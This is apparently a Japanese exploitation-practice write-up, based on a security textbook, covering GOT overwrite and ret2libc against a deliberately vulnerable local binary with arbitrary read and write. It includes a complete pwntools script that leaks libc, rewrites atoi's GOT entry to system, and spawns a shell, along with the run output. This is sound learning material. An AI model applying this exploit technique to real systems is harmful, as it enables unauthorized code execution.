GOT Overwrite・ret2libc
GOT Overwriteを利用してシェルをとる。
(『詳解セキュコン』の33章を参考)
プログラムの概要
問題プログラムはここで入手可能。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln 1 : AAR 2 : AAW >> 1 Input address to read >> 0x4034b0 0x4034b0 : 0x7fadb07f2a80 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln 1 : AAR 2 : AAW >> 2 Input address to write >> 0x4034b0 Input value >> 0x401030
指定したアドレスを読み出すaar()
関数と、指定したアドレスに値を書き込めるaaw()
関数。
ソースコード
main
関数は以下の通り:
int main(void) { char buf[0x20] = {}; printf("1 : AAR\n2 : AAW\n>> "); do { fgets(buf, sizeof(buf), stdin); } while (buf[0] == '\n'); switch(atoi(buf)) { case 1: aar(); break; case 2: aaw(); break; } exit(0); }
checksec
┌──(shoebill㉿shoebill)-[~/pwn] └─$ checksec ./vuln [*] '/home/shoebill/pwn/vuln' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
exploit
#!/usr/bin/env python3 import time import warnings from pwn import * warnings.simplefilter('ignore', category = BytesWarning) bin_file = './vuln' binf = ELF(bin_file, checksec = False) context.binary = binf libc = binf.libc offset_libc_atoi = libc.symbols['atoi'] addr_main = binf.symbols['main'] got_atoi = binf.got['atoi'] got_exit = binf.got['exit'] def attack(conn): # ret2main conn.sendlineafter('>> ', '2') conn.sendlineafter('Input address to write >> ', hex(got_exit)) conn.sendlineafter('Input value >> ', hex(addr_main)) # libc base conn.sendlineafter('>> ', '1') conn.sendlineafter('Input address to read >> ', hex(got_atoi)) recv = conn.recvline() addr_libc_atoi = recv.split(b' : ')[1][:-1] addr_libc_atoi = int(addr_libc_atoi.decode(), 16) libc.address = addr_libc_atoi - offset_libc_atoi addr_system = libc.symbols['system'] # overwrite atoi()'s GOT to system()'s address conn.sendlineafter('>> ', '2') conn.sendlineafter('Input address to write >> ', hex(got_atoi)) conn.sendlineafter('Input value >> ', hex(addr_system)) # spawn a shell conn.sendlineafter('>> ', '/bin/sh') def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
ret2main
exit
のGOTをmain
のアドレスに書き換える。
libcのベースアドレスを求める
(最終的にsystem("/bin/sh")
を実行してシェルをとる。system
関数を実行するためにはlibcのベースアドレスが必要)
atoi
のGOTエントリを読み出してlibc内のatoi
のアドレスを求める。
入力を求められるタイミングでは、atoi
関数は既に実行されている。
つまりアドレス解決が済んでいるので、そのタイミングでatoi
のGOTエントリを読み出すと(libc中の)atoi
の実体のアドレスが得られる。
それとatoi
のlibc内でのオフセットの差をとればlibcのベースアドレスが求まる。
まだ一度も呼び出されていない関数のGOTエントリを読み出すと、その関数の実体のアドレスではなくPLT+6のアドレスを得てしまうので注意。
※ この関数解決とGOTについては一つ前の記事を参照
addr_libc_atoi
について、AAR
を実行した時の出力は
1 : AAR 2 : AAW >> 1 Input address to read >> 0x403470 0x403470 : 0x7fa13803eb80
のようになるので、split
で必要な部分を取り出す([:-1]
は末尾の\n
を含めないため)。
bytes型を変換してint型同士で計算する部分に関してはここを参照。
シェルの起動
atoi
のGOTをsystem
関数のアドレスに書き換える。そして次の入力(1or2の番号の入力)で文字列"/bin/sh"を与えてやる。
これでsystem("/bin/sh")
が実行されシェルがとれる。
理由はmain
関数をよくみるとわかる:
int main(void) { char buf[0x20] = {}; printf("1 : AAR\n2 : AAW\n>> "); do { fgets(buf, sizeof(buf), stdin); } while (buf[0] == '\n'); switch(atoi(buf)) { case 1: aar(); break; case 2: aaw(); break; } exit(0); }
最初の1or2の入力は変数buf
に格納され、その後atoi(buf)
と実行される。
なので、atoi
のGOTがsystem
関数のアドレスである状態で、buf
に文字列"/bin/sh"を与えればsystem("/bin/sh")
実行される。
実行結果:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./exploit.py [+] Starting local process './vuln': pid 31889 [*] Switching to interactive mode $ uname -a Linux shoebill 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64 GNU/Linux